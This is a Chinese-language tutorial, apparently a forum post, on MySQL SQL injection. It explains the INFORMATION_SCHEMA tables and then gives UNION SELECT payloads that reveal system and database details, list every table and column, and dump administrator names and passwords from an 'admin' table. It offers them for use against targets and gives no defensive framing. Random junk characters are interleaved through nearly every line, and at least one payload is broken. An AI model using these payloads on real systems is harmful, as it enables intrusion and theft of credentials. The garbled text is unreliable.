本文介绍MYSQL盲注的一些语句和方法
. B5 V! y( z+ N4 _, T( c1 C! x# y" I0 T- o/ i' N* `
学习盲注前先了解下 IFORMATION_SCHEMA 库
2 A! K2 J! g1 N$ }& y0 p0 Y8 |& C2 a
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有# y6 u ~ I9 G
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。1 c; N0 [+ \1 z) `' S
1.得到所有数据库名:
- x, D' y$ m7 ~|SCHEMATA ->存储数据库名的表
7 z+ K8 m' {* F! P( d/ ~|---字段:SCHEMA_NAME ->数据库名称6 T8 n1 {0 X1 K$ z, c2 ]$ @
0 j' X5 B; x% }' F: L Z
|TABLES ->存储表名( X% m' l% S5 d4 P
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
( m0 ~8 I7 l) l9 D|---字段:TABLE_NAME ->存储表的表名3 w l. ~4 Q! {( S T
" ?, _0 [: }1 f/ b# e, e
|COLUMNS ->存储的字段名表+ E2 o3 `6 _' M& N- }
|---字段:TABLE_SCHEMA ->该字段所属数据库名
1 [# q5 F5 U/ ~( M. k|---字段:TABLE_NAME ->存储所属表的名称3 d2 h# t) \6 {! l+ _3 {
7 r+ a4 Y: H E" I|---字段:COLUMN_NAME ->该字段的名称
* l6 F: q- ?$ m; i/ K4 s0 e4 K- h2 ^6 Q1 P2 g0 t# Q, E
: o9 ?( c9 t! a- A8 v; D: E
. L# {' q s9 \! m; g6 B###########################################################################' c- g" s6 c8 ~: X
% J2 N; ^9 [$ K. l( @ d0x001 获取系统信息:- C j2 z/ J0 S4 ^
. L' ^8 \+ ]( m9 C/ Ounion select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*' W. o4 J6 f- ^9 n/ g
; K1 u3 W' b2 X9 Y9 A
/*
0 \( D% D2 C2 D! V
' Z6 H3 e9 G% S6 Z" B4 q2 N# j@@global.version_compile_os 获取系统版本6 y1 {* V& @8 x* u6 ^
; a B5 Y; L c, h; p7 c* E: {! K! Y5 A
@@datadir 数据库路径
9 F5 f2 L+ Q" _- e# Q! y( vdatabase() 当前数据库名称$ ^( L5 ?/ h2 G. t5 z% a+ f. F
0x3c62723e 换行HEX值. h0 E" [) c3 E. f6 q8 f5 h$ @
) D6 d, e- ~0 t4 z2 J
*/' a" s4 t% H8 k/ w; }; H9 j/ F
: m9 R' x) n. { $ g% f7 r$ j( {
# n) a; v$ n2 B4 d8 A" S2 E
######################################################################4 y0 N5 U* f1 s' l8 D5 l5 j6 U
1 Y7 ]: t2 {3 u; t& n) r( @0x002 获取表名! I7 H+ }$ |: Q) ~: I& x. }
; k" u% Z. r/ q+ e2 Dunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*# h0 O; [( `1 ]8 J
% T0 D+ j9 g h3 T. {, R/ V8 C
w, }. j) N6 L$ x9 l
; R+ T5 ^+ L& v; K/*
) c' e6 C1 f G4 g- L! |9 ]: z; [& u* |, g! A
0x67617264656e 为当前数据库名
3 S- l# b' q, ~6 @
: @$ j. Z8 L9 d6 V+ W3 O2 Ugroup_concat(table_name) 使用group_concat函数 一步获得该库所有表名
. p( P1 g% c2 W8 E
+ a" V' t& l8 U. O" x% t/ Z7 f' N! f*/; C, v; j- K- ?/ O4 P
) R+ }$ h, E+ R/ i% G######################################################################, L& i# L# J- E
4 |0 ]+ f- d8 e9 G F" l4 q! p8 }/ i7 ]
; K+ l1 D8 v$ l
$ k$ @: j3 u& l( k0x003 获取字段+ b5 L( D" ?0 k. N- X" d
5 _9 t9 t3 o/ `* a& ounion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /* y' } x7 p3 |# {7 h& s. p
5 {5 X/ d% }) X: D9 e
/* M, w6 U; r7 }- u
. K O9 I1 s% |: p' \! Q
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段* E- p* `* {" a8 R0 B
1 h9 s+ R! @, S2 E! h ~. W
0x61646d696e ->选择一个表
4 D+ V. ]' [/ p. p3 ], Z2 q* s" j* J5 i3 U9 P
0x67617264656e ->数据库名
6 c9 V! ?8 g {8 h* y
0 L% \; h* n: I6 ]*/& P& e5 `5 A+ L2 U) }* U/ M
+ @& I3 N6 m- ^7 k5 c' ~
#####################################################################" x9 p" A; s. \& b# I" ?
: p! c' g0 |% ^! b- H
$ J; @/ G0 e6 T) _$ x$ [6 s! x
, K2 F" p; S* c
0x004 获取数据
2 z0 Z* n6 Y* s; J% \6 ], y+ L4 B9 x
h7 T) T- i2 y' D! \5 [union select 1,2,31 G4 `5 f) F" N, @6 I6 H6 w# H$ p
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin& u+ X3 I( K( t* y) i; S# @
0 ^' s4 J6 {' `; f
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin# i& q" ?! R3 V/ G
# X+ _1 k; r r T: g
6 v7 U/ F2 j4 t) f) Q) i! r- b
1 f! `1 X8 z0 r2 j/*
: p# i6 d! f6 n. [8 t: b1 A9 C3 d+ d; X
0x3c62723e 换行符号HEX编码8 G! R* T b8 @- Q7 J" a- o
' y( z4 |( q7 [) ~group_concat 同时获得该字段所有数据2 N) w% V7 w# ~/ P2 A. K& J6 v
4 p; r# X$ Y9 X: d7 G# w5 T9 G. v
*/
0 J. R9 [% ~& w/ k" ]; |! g8 ?% ~2 @7 {% {
|